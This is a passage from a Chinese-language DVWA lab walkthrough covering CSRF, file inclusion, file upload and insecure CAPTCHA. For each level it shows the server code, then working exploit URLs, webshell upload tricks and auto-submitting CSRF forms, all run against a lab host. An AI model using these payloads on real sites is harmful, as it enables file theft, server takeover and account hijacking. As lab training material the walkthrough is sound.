$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可看到,Impossible级别的代码利用PDO技术防御sql注入,至于防护CSRF,直接要求用户输入原始密码,在位置原始密码的情况下,是无法进行CSRF攻击的。

File Inclusion

File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include()选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为在php配置文件中的allow_url_fopen选项开启了。

此处不要忘记将php.ini中的allow_url_fopen值改为on,并代理服务器中要设置允许文件包含,否则在实验页面会显示没有将文件包含打开。

Low

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

通过源码可以看到,服务器端对page参数没有做任何的过滤检查,服务器期望用户直接点击下面的三个链接,服务器互包含相应的文件,并将结果返回,需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确实为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取或任意命令执行。

点击file1.php后显示内容如下:

但是在现实情况中,恶意的攻击者是不会直接点击这些链接,因此page参数时不可控的。

漏洞利用

1.本地文件包含

构造url

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=/etc/shadow

返回的报文显示没有此文件,说明服务器系统不是Linux,但是暴露了服务器文件的绝对路径 D:\phpStudy\WWW

可以构造url(绝对路径)

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA-master\php.ini

成功读取到服务器的php.ini文件

也可构造url(相对路径)

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-master\php.ini

通过加入多个..\保证到达服务器的根目录,可以看到也是可以读取的。

同时我们看到,配置文件中的Magic_quote_gpc选项为off,在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的。

1
2
3
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-master\php.ini

http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-master\php.ini%0012.php

将phpstudy中的php版本进行降级,发现是可以显示的

使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时第一个链接会读取失败,第二个链接可以成功绕过规则进行读取。

2.远程文件包含

当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。

在远程服务器上传一个phpinfo.txt文件,内容如下:

1
2
3
<?php
phpinfo();
?>

构造url

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=http://172.18.9.91/phpinfo.txt

成功在服务器上执行phpinfo函数

为增加隐蔽性,可将http://172.18.9.91/phpinfo.txt进行编码

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=http%3A%2F%2F172.18.9.91%2Fphpinfo.txt

同样是可以执行成功的。

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

从源码中可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将http://https://../..\替换成空字符,即将其删除。

漏洞利用

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。例如:page=hthttp://tp://172.18.9.91/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://172.18.9.91/phpinfo.txt,成功执行远程命令。同时,因为替换的是` ../ ..\ `,所以对采用绝对路径的方式包含是不会受到任何限制的。

1.本地文件包含

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\..\..\..\phpStudy\WWW\DVWA-master\php.ini

读取配置文件成功

同样绝对路径也不会有影响

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=D:\phpStudy\WWW\DVWA-master\php.ini

2.远程文件包含

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://172.18.9.91/phpinfo.txt

远程执行命令成功

但是这边要注意编码后的URL不能绕过替换规则,因为解码实在浏览器端完成的,发送过去的page参数依然是http://172.18.9.91/phpinfo.txt,因此读取失败。

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

可以看到,在High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件

漏洞利用

High级别的代码规定只能包含file开头的文件,看似安全,实际上可以使用file协议绕过防护策略,file协议是当我们浏览器打开一个本地文件时,用的就是file协议。因此构造playload

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=file:///D:\phpStudy\WWW\DVWA-master\php.ini

成功读取了服务器的配置文件

至于执行任意命令,需要配合文件上传漏洞利用,首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>

可以看到,Impossible级别的代码使用白名单机制进行防护,page参数必须为“include.php”、”file1.php”、”file2.php”、”file3.php’’之一,彻底杜绝了文件包含漏洞。

File Upload

file upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都爆出过文件上传漏洞。

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

相关函数

basename(path,suffix)

函数返回路径的文件名部分,如果可选参数为空,则返回的文件名包含后缀,反之不包含后缀。

可以看到,服务器对上传文件的类型、内容没有做任何检查、过滤,存在明显的文件上传漏洞,生成上传路径后,服务器会检查是否上传成功并返回相应的提示信息。

漏洞利用

文件上传漏洞的利用是有限制条件的,首先是要能够成功上传木马文件,其次上传文件能够被执行,最后就是上传文件的路径必须可知,在low级别三个条件全部满足。

上传一句话木马文件hack.php

上传成功,并且返回了上传路径

使用中国菜刀进行连接,右键点击添加,地址栏处填入上传文件所在路径,参数名为test,然后菜刀就会通过向服务器发送包含test参数的post请求,在服务上执行任意命令,获取webshell权限,可下载、修改服务器的所有文件。

可以打开服务器虚拟终端

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

从源码中看到,Medium级别的代码对上传文件的类型、大小做了限制,要求文件类型必须是jpeg或者png,且大小不能超过100000B(大约为97.6KB)

漏洞利用

1.组合拳(文件包含+文件上传)

因为采用的是一句话木马,所以文件大小不会产生问题,至于文件类型的检查,尝试修改文件名为hack.png,发现是可以上传成功的,但是在使用菜刀进行连接的时候发现,可以连接,但是没能获取到webshell权限,不能进行任何操作。

中国菜刀的原理是向上传文件发送包含敏感参数的post请求,通过控制参数来执行不同的命令,而此处服务器将木马文件解析成图片文件,因此向其发送post请求时,服务器只会返回这个图片文件,并不会执行相应的命令。

想要让服务器将其解析为php文件,可以使用上面的文件包含漏洞进行,通过Medium级别的文件包含漏洞来获取webshell权限,右键添加,在地址栏中输入

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://172.18.9.91/DVWA-master/hackable/uploads/hack.png

参数名test,脚本语言选择php

打开,成功获取webshell权限

2.抓包修改文件类型

上传hack.png文件,使用burpsuite抓包

可以看到文件名后缀为png,文件类型为image/png,尝试修改filename为hack.php后发送,上传成功

然后上菜刀,可以获得webshell权限。

3.截断绕过规则

在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png可以看到,文件类型也是image/png,可以通过文件类型检查。

上传成功

而服务器会认为其文件名为hack.php,顺势解析为php文件。原理上面有讲过。

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

?>

strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个.后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是*.jpg.jpeg.png之一,同时,getimagesize函数会限制上传文件的文件头必须为图像类型。

漏洞利用

采用%00截断的方式可以轻松绕过文件名的检查,但是需要将上传文件的文件头伪装成图片,这边描述下借助High级别的文件包含漏洞完成攻击。

首先利用copy将一句话木马文件php.php与图片文件1.jpg合并生成hack.jpg,用一些工具像winhex等打开可以看到一句话木马藏到了最后。发现可以通过文件检查,并上传成功的。再使用菜刀连接,右键添加shell,地址栏填入:

1
http://172.18.9.91/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://172.18.9.91/DVWA-master/hackable/uploads/hack.png

填入一句话木马的参数名,脚本语言选择php,可以拿到webshell权限。

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}

// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

in_get(varname)

函数返回相应选项的值

imagecreatefromjpeg(filename)

函数返回图片文件的图像标识,失败返回false

imagejpeg(image,filename,quality)

从image图像以filename为文件名创建一个jpeg图像,可选参数quality,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)

imagedestroy(img)

函数销毁图像资源

可以看到,Impossible级别的代码对上传文件进行了重命名(为MD5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

Insecure CAPTCHA

Insecure CAPTCHA,意为不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。

reCAPTCHA验证流程

该模块的验证码使用的是google提供的reCAPTCHA服务,下图是验证具体流程(借用freebuf上的一张图)

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

1
recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性:

1
2
$is_valid是布尔型的,表示校验是否有效
$error是返回的错误代码

题目开启发现会有报错

参考:https://blog.csdn.net/qq_43968080/article/details/104093581

重启phpstudy就可以了。刷新发现会一直转圈,并发现有一个资源加载不出来,科学上网后资源加载出来了,但是好像刚刚输入的秘钥没用,验证码出不来,但是没关系,这边就是要绕过验证码

也可以参考:https://www.itfd.cn/post-758.html

这边我就不配置了

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作,但是这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step参数判断用户是否已经输入正确的验证码。

漏洞利用

1.通过构造参数绕过验证过程的第一步

首先输入密码,点击Change按钮,burpsuite进行抓包

因为设置了拦截报文的代理,没有挂梯子,所以没有成功显示验证码,发送请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数,更改step参数绕过验证码:

修改密码成功

2.由于没有任何的防护CSRF机制,可以构造攻击页面进行更改,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>      

<body onload="document.getElementById('transfer').submit()">

<div>

<form method="POST" id="transfer" action="http://172.18.9.91/DVWA-master/vulnerabilities/captcha/">

<input type="hidden" name="password_new" value="123456">

<input type="hidden" name="password_conf" value="123456">

<input type="hidden" name="step" value="2">

<input type="hidden" name="Change" value="Change">

</form>

</div>

</body>

</html>

当受害者访问该页面时,攻击脚本会伪造改密请求发送给服务器。缺点是受害者会看到密码修改成功的界面,从而意识到自己受到攻击。

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check to see if they did stage 1
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}

// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从源码中可以看到,Medium级别的代码在第二步验证时,将参数passed_captcha进行检查,如果参数值为true,则认为用户已经通过了验证码的检查,但是用户依然可以通过伪造参数绕过验证,本质上来说,这和low级别的验证没区别。

漏洞利用

1.提交数据,抓取报文,更改step参数并增加passed_captcha参数,绕过验证码。

抓取包:

修改包的相应内容:

发送报文后,提示更改密码成功

2.使用CSRF攻击方式,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>

<body onload="document.getElementById('transfer').submit()">
<div>
<form method="POST" id="transfer" action="http://172.18.9.91/DVWA-master/vulnerabilities/captcha/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="passed_captcha" value="true">
<input type="hidden" name="step" value="2">
<input type="hidden" name="Change" value="Change">
</form>
</div>

</body>
</html>

当攻击者访问页面时,攻击脚本就会伪造改密请求发送给服务器,不过依然会跳转到更改密码成功的界面。

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for user
echo "<pre>Password Changed.</pre>";

} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}

} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

源码中可以看到,服务器的验证逻辑是当$resp(谷歌返回的验证结果)是true,或者参数g-recaptcha-response为hidd3n_valu3()并且HTTP_USER_AGENT为reCAPTCHA则认为已经通过验证码的检查,反之验证失败。

漏洞利用

搞清楚了验证逻辑,剩下的就是伪造绕过了,由于$resp参数无法进行控制,所以将重心放在参数g-recaptcha-response、HTTP_USER_AGENT上。

抓包

更改参数g-recaptcha-response以及http包头的User-Agent:

密码修改成功

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php

if( isset( $_POST[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Hide the CAPTCHA form
$hide_form = true;

// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

$pass_conf = $_POST[ 'password_conf' ];
$pass_conf = stripslashes( $pass_conf );
$pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_conf = md5( $pass_conf );

$pass_curr = $_POST[ 'password_current' ];
$pass_curr = stripslashes( $pass_curr );
